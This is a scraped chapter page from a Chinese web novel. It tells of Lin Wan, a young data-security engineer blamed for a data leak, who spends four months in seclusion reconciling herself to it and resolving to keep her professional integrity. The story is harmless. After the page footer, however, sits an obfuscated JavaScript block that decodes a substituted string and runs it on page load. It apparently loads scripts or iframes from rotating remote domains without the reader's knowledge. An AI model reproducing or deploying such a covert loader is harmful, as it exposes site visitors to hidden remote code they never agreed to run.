首页
[切换至繁体版]
返回

前传第120章 半生心结,自此缘起

章节报错(免登陆)

新笔趣阁(52xbq.com)更新快,无弹窗!

    前传第120章半生心结,自此缘起(第1/2页)
    江城的深秋,从来不会给人猝不及防的凛冽。
    它的凉是循序渐进的,像一层薄薄的雾,日夜沉淀,慢慢浸透街巷、楼宇、人心。连绵的阴雨停在黄昏时分,云层依旧厚重,压在城市上空,滤掉了所有锐利的天光,只余下一片柔和却寡淡的灰白。
    老旧居民楼的阳台积着浅浅水渍,风穿巷而过,卷起地面干枯的梧桐碎叶,簌簌轻响。没有喧嚣车流,没有市井人声,整座城市都浸在一场漫长沉寂的落幕里,如同林晚刚刚彻底翻过的、狼狈不堪的二十三岁。
    她搬来这里,是风波爆发之后的事。
    远离市中心的互联网产业园,远离灯火璀璨的甲级写字楼,远离那些曾经并肩共事、转头便冷眼旁观的同行,也远离那场铺天盖地、足以碾碎一个新人所有前程的舆论漩涡。
    这套老式单元楼户型局促,墙皮带着经年累月的泛黄,窗台木纹老化,风大时会有细微的吱呀声响。不够体面,不够光鲜,和她年少成名、天赋傍身、前程似锦的前半生格格不入,却成了她跌落谷底之后,唯一能容纳狼狈、接纳脆弱的安稳归处。
    整整一百二十天。
    从盛夏蝉鸣聒噪,到深秋落叶沉沉,四个月的闭门蛰伏,一百多个日夜的自我对峙,足够一个意气风发的少年人,彻底褪去一身天真热烈,完成一场脱胎换骨的心境重塑。
    林晚端着一杯微凉的温水,静立在阳台边。
    身上还是最简单的棉质家居长袖,黑发随意束在脑后,露出干净素净的眉眼。曾经眼底那种亮晶晶的、带着蓬勃野心与纯粹热忱的光,已经彻底敛去。取而代之的,是一种沉静到近乎淡漠的通透,像秋水沉潭,表面无波,底下藏着无人窥见的幽深。
    桌面上,那叠厚厚的项目复盘档案已经彻底合上。
    不再是日日翻阅、夜夜推演、反复苛责的执念载体,只是一份规整收好、封存过往的文档。纸页间密密麻麻的批注,是她与自己无数次拉扯、争辩、和解的痕迹,是她对那场行业风波最清醒、最客观、最不留情面的复盘。
    她终于不再对着日志自我诘问。
    不再深夜无眠,反复假设每一个“如果当初”。
    不再困于委屈不甘,纠结人心凉薄、世事不公。
    不再用旁人的过错,一遍又一遍惩罚较真的自己。
    风雨渡尽,浮躁落定。
    她接纳了所有既定的结局,也接纳了那个不够圆滑、不懂世故、太过赤诚、太过较真的自己。
    年少的完美主义,是天赋也是枷锁。它让她在学业上****,在专业上精益求精,在同龄人中早早崭露头角,也让她在人心复杂的职场棋局里,撞得头破血流,满身伤痕。
    从前的她信奉绝对严谨、绝对公允、绝对闭环。以为技术是准绳,努力是底气,底线是铠甲,只要自己足够认真、足够拼命,就能护住项目、护住初心、护住所有本该安稳的结果。
    这场倾覆,狠狠打碎了她非黑即白的世界观。
    职场从不是单一的技术赛场,而是人情、利益、资本、规则交织的复杂棋局。技术可以规避程序漏洞,却填不满人心的贪嗔痴,挡不住资本的逐利短视,堵不住体制堆积的疏漏与推诿。
    有人为了业绩,可以压缩必要测试流程。
    有人为了自保,可以层层甩锅隐匿隐患。
    有人为了利益,可以默许风险落地、牺牲无辜新人。
    有人身居高位,手握决策权,却把所有代价,留给底层执行者承担。
    这些曾经让她愤怒、委屈、难以置信的黑暗,如今再回望,只剩一声安静的了然。
    不是世道崩坏,从来都是她年少单纯,见过的规则太少,信过的善意太多。
    暮色一点点沉下来,城市的路灯次第亮起,暖黄的光晕穿透薄薄的雾气,落在阳台的水渍上,碎成细碎的光点。晚风拂来,带着雨后独有的清冽凉意,掠过发梢,也吹散了心底最后一丝郁结不散的阴霾。
    林晚轻轻呼出一口气,胸腔里积压百日的沉闷彻底散去。
    她终于明白,这场无妄之灾,从来不是人生的终点,而是一场猝不及防的成人礼。
    它没收了她的少年意气,碾碎了她的天真幻想,冻结了她张扬明媚的性格,却也逼着她快速长大、清醒、沉淀、通透。
    她不再偏执于绝对完美,不再苛求世事公允,不再轻信人情温热,不再盲目热忱奔赴所有看似光明的前路。
    但她从未放弃初心。
    恰恰是见过了行业幽暗、人心凉薄、资本冷漠,她心底对技术向善的坚守,反而愈发坚定,愈发纯粹。
    正因为见过数据泄露酿成的众生悲剧,见过普通用户无辜受损、求助无门的窘迫,见过技术被滥用、底线被践踏的乱象,她才更清楚自己坚持的意义。
    世人逐利,随波逐流。
    而她历经深渊,唯愿守光。
    只是这份坚守,从此不再裹挟年少的莽撞与热烈,只余下历经沧桑后的审慎与坚定。
    她学会了敬畏风险,学会了防备人心,学会了权衡利弊,学会了沉默隐忍。更学会了一件最重要的事——允许世事有缺憾,允许人性有瑕疵,允许努力有遗憾,唯独不允许自己失底线、失良知、失本心。
    手机静静放在窗台,屏幕暗着,安安静静躺了很久。
    曾经置顶的行业交流群、同事对话框、导师联系方式,早已被她逐一屏蔽、折叠、清空。那场风波过后,圈子里的取舍冷暖,她看得一清二楚。
    有昔日同窗暗自庆幸抽身及时,言语间暗含嘲讽。
    有共事伙伴为求自保,主动划清界限、闭口不提过往。
    有行业前辈明哲保身,冷眼旁观她一人背负所有罪责。
    也有人悄悄发来安慰,微弱善意,杯水车薪,终究改变不了既定结局。
    人性趋利避害,本是常态。
    从前的她会失望、会寒心、会耿耿于怀。如今的她,只剩理解与释然。不怪世人冷漠,不怨人情淡薄,只是默默看清,默默远离,默默收好真心,不再轻易交付。
    从此,她的热忱有分寸,善良有底线,真诚有铠甲。
    夜色渐浓,城市彻底沉入暮色。
    林晚抬手,将窗台上散落的几片枯叶轻轻拂去,指尖微凉,心境安稳。
    四个月闭门自省,她熬过了自我否定的绝境,熬过了深夜崩溃的内耗,熬过了无人问津的低谷,熬过了青春最狼狈、最昏暗、最无助的一段时光。
    风雨渡尽,心性彻底沉淀。
    明媚张扬的少年林晚,永远留在了二十二岁的盛夏。
    内敛审慎的成年人林晚,在二十三岁的深秋,正式新生。
    只是那场深入骨髓的阴影,从未真正消失。
    它化作一道隐秘的烙印,悄悄扎根在她心底,成为她往后半生,最柔软的软肋,也最坚固的铠甲。
    软肋是从此一生的恐惧。
    她怕疏漏、怕风险、怕失误、怕自己一次不慎,酿成无法挽回的灾难。怕自己的笃定变成自负,怕自己的严谨终究抵不过人心诡谲,怕一腔坚守再次换来满身狼狈。
    从此她做所有项目,必反复核验、层层排查、极致审慎,宁肯千遍谨慎,绝不一次侥幸。
    从此她面对所有团队协作,必厘清权责、划清边界、守住底线,宁肯清冷独处,绝不盲从合群。
    铠甲是从此一生的坚守。
    见过幽暗,所以更笃光明。
    见过逐利,所以更守纯粹。
    见过推诿,所以更敢担责。
    见过崩塌,所以更懂守护。
    她比行业里所有顺风顺水的从业者,都更懂数据安全的重量。
    那不是一纸项目业绩、一份职场履历、一项晋升筹码。
    那是万千普通用户的隐私安稳,是互联网行业本该守住的底线良知,是技术从业者最该敬畏的职业初心。
    这份根植于血泪与低谷的认知,从此刻起,彻底刻入骨髓,伴随她往后十年、二十年、一生的职业归途。
    半生心结,自此缘起。
    窗外夜色深沉,灯火万家,人间寻常安稳。
    林晚静静望着远处成片的楼宇灯火,眼底无波澜、无怅惘、无不甘,只剩通透安宁。
    她知道,自己不会永远困于这间老旧小屋,不会永远沉寂于行业低谷,不会永远背负污名止步不前。
    她的专业能力没有消失,她的严谨底色没有褪色,她的向善初心从未偏移。
    只是此刻的沉淀,是蛰伏,是蓄力,是等待,是与过往彻底和解,是为未来的重逢埋下伏笔。
    她尚且不知道,数年之后,会有一间名为龙胆科技的初创小公司,守住了和她一模一样的初心。
    不知道那个名叫龙胆草的寒门理工少年,会顶着行业乱象、资本压力、市场偏见,执着于国产数据安全技术,执着于技术向善、本心不负。
    不知道通透果敢的曹辛夷、纯粹执拗的姚浮萍、温柔担当的姚厚朴、温暖睿智的九里香,会和她汇聚一堂,组成一群历经风雨、坚守底线的同行者。
    不知道她扎根心底的这份谨慎、这份敬畏、这份从低谷淬炼而出的通透坚韧,会让她在数年之后,义无反顾奔赴一场全新的并肩相守。
    此刻的她,孤身一人,满身过往,满心沉淀。
    前路依旧迷茫,行业依旧浑浊,人心依旧难测,阴影依旧扎根心底。
    但她已然不再畏惧。
    低谷走过,黑暗熬过,人心看透,执念放下。
    往后余生,不求锋芒万丈,不求前程璀璨,不求世人理解,不求名利加身。
    只求每一行代码无愧本心,每一次排查无愧专业,每一份坚守无愧良知。
    (本章未完,请点击下一页继续阅读)前传第120章半生心结,自此缘起(第2/2页)
    只求历经世事沧桑,依旧守得住技术纯粹,护得住人间安稳。
    晚风再起,拂过窗台,温柔而沉静。
    林晚轻轻垂眸,眼底澄澈坦荡,过往千帆落尽,心底山海初平。
    所有青春的遗憾、职场的重创、人心的寒凉、执念的困顿,都在此刻尘埃落定。
    一场低谷蛰伏,半生心结缘起。
    从此心有敬畏,行有底线,守有初心,静待相逢。
    她的故事,她的蜕变,她的坚守,她的软肋与铠甲,都在这个深秋的夜晚,悄然落笔,静静生根,只待来日,风起相逢。
    夜色彻底铺满江城时,林晚起身拉上半扇落地窗。
    不留缝隙的密闭会让人窒息,全然敞开又会被晚风里的湿冷裹挟,她习惯性留了一道窄缝,像她如今处世的分寸——不封闭自我,亦不全盘敞开,万事留余地,本心守方寸。
    屋子里很安静,只有桌角老旧台式电脑的轻微嗡鸣。这是她为数不多没有变卖的物件,配置算不上顶尖,却足够流畅支撑所有代码推演、数据复盘。四个月来,她切断了所有向外的社交喧嚣,把所有独处的时光,都还给了专业本身。
    从前在职场,写代码、做风控、测漏洞,是谋生的工作,是晋升的筹码,是贴在身上的天才标签。而如今,褪去所有功利裹挟,沉在无人打扰的陋室里,她才真正触摸到数据安全最本真的内核。
    屏幕光影柔和落在她清淡的眉眼间,映出密密麻麻的底层逻辑框架。她没有打开任何商业项目文档,没有触碰曾经让她身败名裂的政企风控系统,只是一遍遍打磨通用隐私保护算法,梳理市面上所有加密系统的漏洞短板。
    风波过后,行业依旧浮躁。
    资本依旧追逐快速变现的风口,多数企业依旧重营销、轻防护,无数平台依旧在灰色边缘试探,以用户隐私换取流量和收益。那场轰动全网的数据泄露事故,终究只是互联网长河里一场短暂的浪花,热度褪去,无人复盘,无人整改,无人愧疚。
    只有亲历者,会记着那场灾难里,无数普通人的无助与狼狈。
    她还记得事故发酵最盛的那几天,她匿名蹲在各个社交平台,看过太多细碎又心酸的留言。有普通网友哭诉个人信息被打包倒卖,骚扰电话络绎不绝;有小微企业因为核心数据泄露,客户流失、濒临倒闭;有普通人隐私曝光,生活被彻底打乱,求助无门、维权无路。
    彼时的她,背负着全网骂名,被钉在“失职新人”的耻辱柱上,连一句公开的道歉、一次正经的说明,都没有资格说出。公司堵住了所有发声渠道,公关文案抹平了所有真相,管理层的推诿、制度的漏洞,最终都被一句“新人操作失误”轻轻盖过。
    那些无辜承受代价的普通人,永远不会知道,这场伤害从不是单一失误造成,而是无数个逐利的选择、无数次敷衍的履职、无数回侥幸的妥协,层层堆积而成。
    这份无人认领的愧疚,成了她心结里最沉的分量。
    不是委屈自己被冤枉,而是遗憾自己
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();